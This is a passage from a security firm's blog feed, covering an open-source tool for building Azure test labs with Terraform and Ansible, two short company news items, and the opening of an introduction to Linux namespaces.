&lt;span class="link-label">Ansible&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
Playbooks to configure virtual
machines.
The modules can be used to specify properties of a virtual machine such as&lt;/p>
&lt;ul>
&lt;li>running services&lt;/li>
&lt;li>vulnerabilities&lt;/li>
&lt;li>installed software&lt;/li>
&lt;li>OS/application configurations&lt;/li>
&lt;/ul>
&lt;p>Combining Terraform and Ansible with the help of some Python code, AzureGenerat0r is able to set
up readily configured test environments on demand.
To map a test environment to Azure, you have to describe the environment in a
specification. This specification contains the infrastructure that should be created and the modules
that should be deployed to the VMs. AzureGenerat0r can then process
the specification and generate the specified resources. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">AzureGenerat0r&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">was&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">released&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">on&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GitHub&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
under the GPLv3 license.&lt;/p>
&lt;figure>
&lt;div class="videoOverlay videoOverlayPlay">
&lt;video id="blogazuregenerat0rcreateResources" class="videoInsert">
&lt;source src="/blog/azuregenerat0r/createResources.webm" type='video/webm;codecs="vp8, vorbis"'/>
&lt;source src="/blog/azuregenerat0r/createResources.mp4" type='video/mp4;codecs="avc1.42E01E, mp4a.40.2"'/>
Your browser does not support the video tag.
&lt;/video>
&lt;/div>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Create resources
&lt;/figcaption>
&lt;/figure>
&lt;script>
document.addEventListener("DOMContentLoaded", function() {
const id = "blogazuregenerat0rcreateResources";
const video = document.getElementById(id);
const videoOverlay = video.parentElement;
const classList = videoOverlay.classList;
let isPaused = true;
videoOverlay.addEventListener("click", () => {
if (video.paused) {
video.play();
isPaused = false;
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay", "videoOverlayReload")
} else {
isPaused = true;
video.pause();
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause", "videoOverlayReload")
}
});
video.addEventListener("ended", () => {
isPaused = true;
classList.add("videoOverlayReload");
classList.remove("videoOverlayPause", "videoOverlayPlay")
});
video.addEventListener("seeking", () => {
classList.remove("videoOverlayReload");
if (isPaused) {
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause");
} else {
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay");
}
});
});
&lt;/script>
&lt;p>AzureGenerat0r offers a wide range of features:&lt;/p>
&lt;ul>
&lt;li>Use a counter to create multiple virtual machines.&lt;/li>
&lt;li>Implemented default mechanisms for keeping a specification simple.&lt;/li>
&lt;li>Specify parameters for modules in the specification. Thus, more powerful and flexible modules can be developed.&lt;/li>
&lt;li>Deploy modules in two stages for handling time based dependencies. Enables delayed deployment of modules.&lt;/li>
&lt;li>Use templates to encapsulate the description of a subnet or VM. The templates can be mounted into a specification.
A template binds a subnet to its virtual machine and a virtual machine to its modules. Thus, subnets
and VMs can be defined on a higher level of abstraction.&lt;/li>
&lt;li>Let AzureGenerat0r choose random modules. These can be used in combination with vulnerability modules to create randomly vulnerable VMs.&lt;/li>
&lt;li>Filter modules based on properties like CVE. This is provided by attaching a file with metadata to an existing module.&lt;/li>
&lt;li>Extend AzureGenerat0r with your own modules. Thus, you can map the properties you need for your personal
test environment.&lt;/li>
&lt;li>Extend AzureGenerat0r with plugins. They can be used to generate values for a specification
like IDs, names, or passwords. In combination with a counter, multiple machines can be created without
having to specify the properties of each single machine. A plugin also can be used to initialize the VM counter.&lt;/li>
&lt;li>Extend AzureGenerat0r to provide additional Azure resources. This cannot be done in a modular fashion, but the source code can be extended.&lt;/li>
&lt;/ul>
&lt;h2 id="how-to-use-azuregenerat0r">How to use AzureGenerat0r&lt;/h2>
&lt;p>In the following I will use an example to explain how AzureGenerat0r can be used. This example uses all the Azure resources and
features that are currently implemented. &lt;br>
The specification creates two isolated subnets in Azure. The first subnet contains an Active Directory with
a domain controller, two domain computers, and two domain users. The second subnet contains a dual homed host
that serves a random vulnerable service which is accessible remotely. The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r/tree/master/specifications"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">specification&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r/tree/master/specifications"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">file&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
can be downloaded on GitHub.
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/azuregenerat0r/spec_hu8327b438b2414de9827b8b752e2abf95_30037_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/azuregenerat0r/spec_hu8327b438b2414de9827b8b752e2abf95_30037_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/azuregenerat0r/spec_hu8327b438b2414de9827b8b752e2abf95_30037_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/azuregenerat0r/spec.png"
width="1003"
height="538"
alt="Spec with comments"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Spec with comments&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>Use the command &lt;code>create&lt;/code> to create the infrastructure in Azure. AzureGenera0r starts processing the
specification and creates the infrastructure as follows:&lt;/p>
&lt;ul>
&lt;li>Every machine gets its own public IP address.&lt;/li>
&lt;li>Every machine has an open SSH/WinRM port.&lt;/li>
&lt;li>On every machine there is a default user that can be used to log in to the machine.&lt;/li>
&lt;li>The access to the machines is secured by Azure Network Security Groups.&lt;/li>
&lt;/ul>
&lt;p>After the command has executed successfully, it returns all the public and private IP addresses of the machines.
Now the command &lt;code>enrich&lt;/code> can be used to deploy the modules to the virtual machines. AzureGenerat0r creates the required
configuration files and starts collecting the public SSH keys from the target machines, to add them to the &lt;code>known_hosts&lt;/code> file. Afterwards it starts Ansible to deploy the modules to the virtual
machines. This procedure is multithreaded. The output of each thread can be observed to ensure that the playbooks have been deployed
successfully.&lt;/p>
&lt;figure>
&lt;div class="videoOverlay videoOverlayPlay">
&lt;video id="blogazuregenerat0renrichVMs" class="videoInsert">
&lt;source src="/blog/azuregenerat0r/enrichVMs.webm" type='video/webm;codecs="vp8, vorbis"'/>
&lt;source src="/blog/azuregenerat0r/enrichVMs.mp4" type='video/mp4;codecs="avc1.42E01E, mp4a.40.2"'/>
Your browser does not support the video tag.
&lt;/video>
&lt;/div>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Enrich VMs
&lt;/figcaption>
&lt;/figure>
&lt;script>
document.addEventListener("DOMContentLoaded", function() {
const id = "blogazuregenerat0renrichVMs";
const video = document.getElementById(id);
const videoOverlay = video.parentElement;
const classList = videoOverlay.classList;
let isPaused = true;
videoOverlay.addEventListener("click", () => {
if (video.paused) {
video.play();
isPaused = false;
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay", "videoOverlayReload")
} else {
isPaused = true;
video.pause();
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause", "videoOverlayReload")
}
});
video.addEventListener("ended", () => {
isPaused = true;
classList.add("videoOverlayReload");
classList.remove("videoOverlayPause", "videoOverlayPlay")
});
video.addEventListener("seeking", () => {
classList.remove("videoOverlayReload");
if (isPaused) {
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause");
} else {
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay");
}
});
});
&lt;/script>
&lt;p>So, with AzureGenerat0r test environments can be set up on demand. While the specification is pretty long, with the usage of templates it is possible to encapsulate these subnets and reuse them in future deployments. So this test
environment can be created by a one-liner.&lt;/p>
&lt;h2 id="use-case-active-directory-multi-tier-environmentbr-">Use Case: Active Directory Multi Tier Environment&lt;br />&lt;/h2>
&lt;p>There are already various modules for the deployment of an Active Directory. The currently developed modules are capable of:&lt;/p>
&lt;ul>
&lt;li>creating a domain&lt;/li>
&lt;li>promoting a computer to a domain controller&lt;/li>
&lt;li>adding users and computers to a domain&lt;/li>
&lt;li>randomly creating multiple user accounts and their passwords (powered by &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://stealingthe.network/rapidly-creating-fake-users-in-your-lab-ad-using-youzer/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Youzer&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
)&lt;/li>
&lt;li>organizing users in groups and computers in organizational units&lt;/li>
&lt;li>importing GPOs&lt;/li>
&lt;/ul>
&lt;p>Combining these modules, a number of options are available to configure Active Directory as needed. Especially
the ability to import GPOs is very powerful, as GPOs itself
can be used to create complex Active Directories like an Active Directory Tier Model.
The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Active&lt;/span>
&lt;/a>&lt;a
href="https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Directory&lt;/span>
&lt;/a>&lt;a
href="https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">administrative&lt;/span>
&lt;/a>&lt;a
href="https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">tier&lt;/span>
&lt;/a>&lt;a
href="https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">model&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is a concept for secure administration of an Active Directory that splits the administrative accounts into separated tiers.&lt;/p>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r/blob/master/specifications/ad_testlab.yml"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">AD-Testlab&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r/blob/master/specifications/ad_testlab.yml"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">specification&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for example
realizes an Active Directory Tier Model where users and computers are separated into two logical tiers.
Tier0 contains the domain controller, where only the Active Directory Administrator has access to. Tier1 represents
a sales department using two domain computers, where 200 employees and one admin
have access to.&lt;/p>
&lt;p>As it takes its time to configure a Tier Model from scratch, if you
need a tier separated AD lab for training or test purposes, you can
use this specification.
Besides adding computers, users, or tiers the AD can be extended with services
such as Microsoft Exchange Servers
which can be found in a real world company.&lt;/p>
&lt;h2 id="future-work">Future Work&lt;/h2>
&lt;p>Besides maintaining AzureGenerat0r related to updates from Terraform, Azure and Ansible, the plan is to extend it with
more modules, plugins and cloud resources. Also, the implementation of read and write access to variables would be nice.
AzureGenerat0r is an open source project, so feel free to contribute. &lt;br>
For questions on how to develop modules and plugins, check out the related directories on the
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">AzureGenerat0r&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">project&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. Additionally, code reviews and improvements are appreciated.&lt;/p>
&lt;p>&lt;em>Credits: The elaboration and software project associated with this subject are results of a
Bachelor&amp;rsquo;s thesis by Johannes Ziegler created at SCHUTZWERK in collaboration with Ulm University.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/SpiderLabs/youzer"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Youzer&lt;/span>
&lt;/a>&lt;a
href="https://github.com/SpiderLabs/youzer"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/SpiderLabs/youzer"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Repository&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">AzureGenerat0r&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/AzureGenerat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Repository&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>SCHUTZWERK IS SPONSOR OF THE 11TH GOD</title><link>https://www.schutzwerk.com/en/blog/11-german-owasp-day/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 22 Nov 2019 13:00:00 +0100</pubDate><category>news</category><category>event</category><description>
&lt;p>This time the OWASP Day will take place in Karlsruhe on 10th of December. As an official sponsor SCHUTZWERK GmbH will take part again!
The German Chapter will host this year’s GOD. This event is the most important, independent and non-commercial conference on web application security in Germany.
The OWASP Day is characterized especially by its vendor neutrality and is free of marketing presentations.
There will again be numerous lectures on secure development, operation, testing and management in the field of web-based applications.&lt;/p>
&lt;p>SCHUTZWERK will be represented by the colleagues Tobias Arnold and Jonas Kaltenhauser, who are looking forward to an inspiring exchange.&lt;/p></description></item><item><title>SCHUTZWERK COOPERATES WITH THE WEDELER UNIVERSITY ASSOCIATION</title><link>https://www.schutzwerk.com/en/blog/hochschulkooperation-im-norden/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 19 Nov 2019 13:00:00 +0100</pubDate><category>cooperation</category><category>event</category><category>news</category><description>
&lt;p>Since October 2019 we are a cooperation partner of the University Association Wedel of the University of Applied Sciences Wedel (FH Wedel).
In our third year in Hamburg we are now also setting sail in the academic context in order to inspire students for IT security. As a link between the university and business, the association has been supporting students for over 25 years. With its courses of studies in Computer Engineering, Computer Science and, above all, IT Security, FH Wedel covers exactly the needs of the areas in which we are looking for IT security consultants.&lt;/p>
&lt;p>As curious we are to see which fruits the partnership will bear, as happy we are to welcome the students to the contact fair in the beginning of May 2020!&lt;/p></description></item><item><title>Linux Container Primitives: An Introduction to Namespaces</title><link>https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/</link><author>Philipp Schmied</author><pubDate>Tue, 29 Oct 2019 08:56:10 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>The following list shows the topics of all scheduled blog posts regarding Linux containers. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Being introduced first in Linux kernel version &lt;code>2.4.19&lt;/code> in 2002, namespaces define groups of processes that share a common view regarding specific system resources. This ultimately isolates the view on a system resource a group of processes may have, meaning that a process can for instance have its own hostname while the &lt;em>real&lt;/em> hostname of the system may have an entirely different value.&lt;/p>
&lt;p>There exist various namespaces types &amp;ndash; as of Linux kernel version &lt;code>4.19&lt;/code> the following types are available:&lt;/p>
&lt;ul>
&lt;li>UTS&lt;/li>
&lt;li>Mount&lt;/li>
&lt;li>PID&lt;/li>
&lt;li>Network&lt;/li>
&lt;li>IPC (Inter Process Communication)&lt;/li>
&lt;li>Control Group&lt;/li>
&lt;li>User&lt;/li>
&lt;/ul>
